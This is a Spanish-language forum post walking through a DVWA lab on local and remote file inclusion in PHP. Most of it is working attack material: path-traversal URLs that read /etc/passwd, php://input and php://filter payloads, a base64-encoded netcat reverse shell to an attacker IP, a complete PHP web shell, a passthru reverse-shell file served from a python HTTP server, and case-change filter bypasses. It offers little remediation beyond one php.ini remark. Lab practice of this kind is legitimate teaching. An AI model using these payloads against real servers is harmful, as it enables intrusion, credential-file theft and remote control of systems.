Laboratorio de seguridad web: File Inclusion y cómo solucionarla

Routers, OpenWrt, VPN, Wi-Fi, fibra óptica, NAS y storage: tutoriales paso a paso.
admin
Verified
Site Admin
Mensajes: 2144
Registered for: 12 years 5 months
12
Ubicación: Ciudad de Córdoba - Argentina
Gender:
Edad: 44
Contactar:

Laboratorio de seguridad web: File Inclusion y cómo solucionarla

#1

Mensaje por admin »

Laboratorio de seguridad web: File Inclusion y cómo solucionarla

En este laboratorio se simula como un atacante puede incluir un archivo en el servidor web a través de un script php. Esta vulnerabilidad surge cuando una aplicación web permite que el cliente envíe información a los archivos o cargue archivos al servidor. Te explicaremos como facilmente solucionar este tipo de problemas. Hay dos tipos Local File Inclusion y Remote File Inclusion LRI RFI

Imagen
 
RED o ESCENARIO o LABORATORIO


Imagen
 
COMANDOS USADOS o EJECUTADOS

Código: Seleccionar todo

LOCAL INCLUSION 
en Low

http://192.168.1.183/dvwa/vulnerabilities/fi/?page=/../../../../etc/passwd
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=../../../../../../proc/version


php://input&cmd=ls    / pwd  


<?php echo shell_exec($_GET['cmd']);?>




en Medium


http://192.168.1.183/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=/proc/version

http://192.168.1.183/dvwa/vulnerabilities/fi/?page=php://filter/resource=/etc/passwd

Base64 Encoding and Decoding. 
Ejemplo: uname -a o cat /etc/passwd  o  nc -e /bin/sh 192.168.1.130 4444


php://input&cmd=Y2F0IC9ldGMvcGFzc3dk      | cat /etc/passwd

php://input&cmd=bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTMwIDQ0NDQ=      | Conexion remota



<?php echo passthru(base64_decode($_GET['cmd'])); ?>

Listener command in kali linux  

nc -vv -l -p 4444

en high

http://192.168.1.183/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=file:///proc/version



-----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
Esto sucede por que en el php.ini
allow_url_include” and “allow_url_fopen estan en on

REMOTE INCLUSION

En low

http://192.168.1.183/dvwa/vulnerabilities/fi/?page=https://www.google.com

Codigo de shell

<body>
  <form action="<?php $link=(isset($_SERVER['HTTPS']) ? "https" : "http")."://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
    <center>
      <br>
      <h1> Remote File Inclusion - SHELL </h1>
      <h2>
        Command:
        <input type="text" name="cmd" value=""/>
        <input type="submit" name="submit" value="cmd">
      </h2>
    </center>
  </form>

  <?php
    if(isset($_POST["cmd"])) {
      $cmd = $_POST["cmd"];
      $output = shell_exec("{$cmd}");
      echo "<h2>".$cmd."</h2>"."<pre>".$output."</pre>";
    }
  ?>
</body>

nombre RFI-shell.txt   

En 192.168.1.130 levantamos un python server
python3 -m http.server --bind 0.0.0.0 8000

http://192.168.1.183/dvwa/vulnerabilities/fi/?page=http://192.168.1.130:8000/RFI-shell.txt

-------

Codigo para acceder remotamente

passthru PHP function to gain access to the target web-server.

<?php

passthru('nc -e /bin/sh 192.168.1.130 4444');

?>

chmod 755 shell.txt

python3 -m http.server --bind 0.0.0.0 8000

nc -vv -l -p 4444



http://192.168.1.183/dvwa/vulnerabilities/fi/?page=http://192.168.1.130:8000/shell.txt


-----------------------------------------------------------------------------------------------------
En Medium

http://192.168.1.183/dvwa/vulnerabilities/fi/?page=HTTPS://www.google.com

Interpretador de comandos web
lo mismo que lo anterior con la difertencia que cambiamos la sintaxion que pegamos
en el cuadro de direcciones del explorador

http://192.168.1.183/dvwa/vulnerabilities/fi/?page=hTTp://192.168.1.130:8000/RFI-shell.txt


conexion remota 
es lo mismo que anterior pero cambiamos la sintaxis que pegamos
en el cuadro de texto del explorador


http://192.168.1.183/dvwa/vulnerabilities/fi/?page=HttP://192.168.1.130:8000/shell.txt


--------------------------------------------------------------------------------------------------------
En High

no se puede 


----------------------------------------------------------------------------------------------------------
ENLACES o Links

https://www.hackingarticles.in/comprehe ... inclusion/
https://www.hackingarticles.in/comprehe ... usion-rfi/


https://techsphinx.com/hacking/file-inc ... ull-guide/

https://braincoke.fr/write-up/dvwa/dvwa-file-inclusion/




https://n3wbye.gitbook.io/dvwa/file-inc ... -inclusion
https://n3wbye.gitbook.io/dvwa/file-inc ... -inclusion

VIDEO TUTORIAL



Temas relacionados: vulnerabilidades en aplicaciones web PHP, laboratorio de práctica, cómo corregirlas.

Enlace:
BBCode:
HTML:
Ocultar enlaces al mensaje
Mostrar enlaces al mensaje
Responder

Sign in to join the discussion

You need to be a member in order to post a reply

  • Temas similares
    Respuestas
    Vistas
    Último mensaje

Volver a “Redes/Networking”

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado